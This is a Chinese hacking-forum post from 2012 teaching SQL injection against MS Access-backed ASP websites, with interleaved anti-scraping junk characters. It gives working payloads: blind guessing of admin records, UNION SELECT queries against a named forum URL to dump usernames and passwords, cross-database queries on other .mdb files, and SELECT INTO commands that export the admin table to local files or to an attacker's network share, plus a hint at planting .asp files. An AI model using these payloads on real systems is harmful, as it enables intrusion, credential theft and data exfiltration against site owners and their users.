找回密码
 立即注册
查看: 2616|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------0 H$ T; \$ h/ _- Q
union查询法
. D4 Q; Z4 `; [0 K首先要说的就是查询办法,一般的查询办法就是- a5 d# T4 i& d3 e
' |8 f5 s! F! R& v* n' ~; W
程序代码$ c1 V- X  [  W6 B( G/ w
and 1=(select count(*) from admin where left(id,1)='1')  C0 w7 R+ f* Q

/ V# n3 U: A" K+ B" v- ~. ]这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.: ?- U) t3 x. a) R
所以这个时候,union select横空出现.别以为只能在PHP里用哦...
2 X7 M* b0 z# @* s* \, {譬如你有一个ACCESS点:
% N6 L9 [. K- @& T程序代码& q* O1 d6 H% |7 l
http://bbs.tian6.com/xiaoyang.asp?coder=1
! A5 q1 e2 ~; Y8 s9 T1 G1 i# d
4 G0 x4 j; l1 a2 K0 C知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
% J- i/ x' z; u6 L( j然后我们直接来:
% E8 w- y8 L" \' Q% J程序代码
' I, s+ o- h; g1 A; I; u- \  Whttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]0 {4 K" c* Z/ Q5 |

9 H4 j3 C+ m% A5 {- E这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.9 R  F7 G  g' I; R' z
8 R1 y9 B; S- N7 i
5 j3 ^  u; W2 u/ X! a  ~  G1 V

! i% o7 u' i6 Z* v& \1 p---------------------------------------------------------------
0 ]6 Z! o5 f& S  D) @6 w0 l2 ^, _8 |+ NAccess跨库查询
5 N" E, O0 w; u5 c有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
( ?! N" U% k2 u跨库的查询语句:+ p% \5 c+ v3 \( N' G% |3 w
子查询:
0 |: N! n1 A/ d2 d% U程序代码9 {. p* J  R7 j4 K: m4 H
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
, s8 `4 g: S' H3 {% D  {" ?. q5 A; L" |* ?0 `, K0 X
union查询:
7 K9 T6 q, }3 S1 }5 t程序代码
2 }3 |; j3 o( |; |+ w- _) Punion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1+ {& W- H) n% f: [

$ a; }8 [# J7 D0 T跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
) H; D# @- v5 K8 u程序代码
! S7 ^9 F& f' phttp://www.4ngel.net/article/46.htm ! v. _8 v/ j3 }, l0 r% j% u+ i8 M  k
http://hf110.com/Article/hack/rqsl/200502/66.html
% {8 @$ m1 o# Z" v# r# r8 g! i0 E& N9 i; \) q$ T) u; u" Q
---------------------------------------------------------------
7 n  l; M. t- i1 UAccess注入,导出txt,htm,html9 s0 f( c) V) p4 S; q  i4 N. ^
子查询语句:9 l8 E4 E- t7 v/ Y
程序代码
# Q- a3 @. ~6 h4 k+ bSelect * into [test.txt] in 'd:\web\' 'text;' from admin
& X7 O8 U6 R& e: F6 _: l! Q6 x/ ^7 S- G1 H
这样就把admin表的内容以test类型存进了d:\web里面.
  k; V7 A4 Q$ D* e, K( rUNION查询:- P: W* Y9 F+ X8 Z, v& k; p; E" t
程序代码
, R8 }. i' N$ O* b+ F$ w: \( }union select * into [admin.txt] in 'c:\' 'test;' from admin
" ]3 i; X! K8 y6 Z3 h4 T2 f+ D# N4 \% J# Q" ]: n# V
而且这里也可以保存到本地来:9 s' u- h- [( G) i' n
程序代码" h: y1 i; Y8 [  q
Select * into [test.txt] in '\\yourip\share' 'text;' from admin9 q6 M# T+ ?/ u& {8 d
* G( J) b0 U' M6 h/ F- [3 {7 N
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
* R9 q- E/ p* Z2 m
: ~6 I" m* y* l! f6 x9 B) E2 U程序代码, a9 ^3 L$ C5 Q: p- N' f/ ?4 l; u
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7+ V" I& j7 J  P( Z
: e2 \1 Q; ~# w# D7 s; P
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的." ]* [- n2 w0 U  l0 Q5 S+ z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表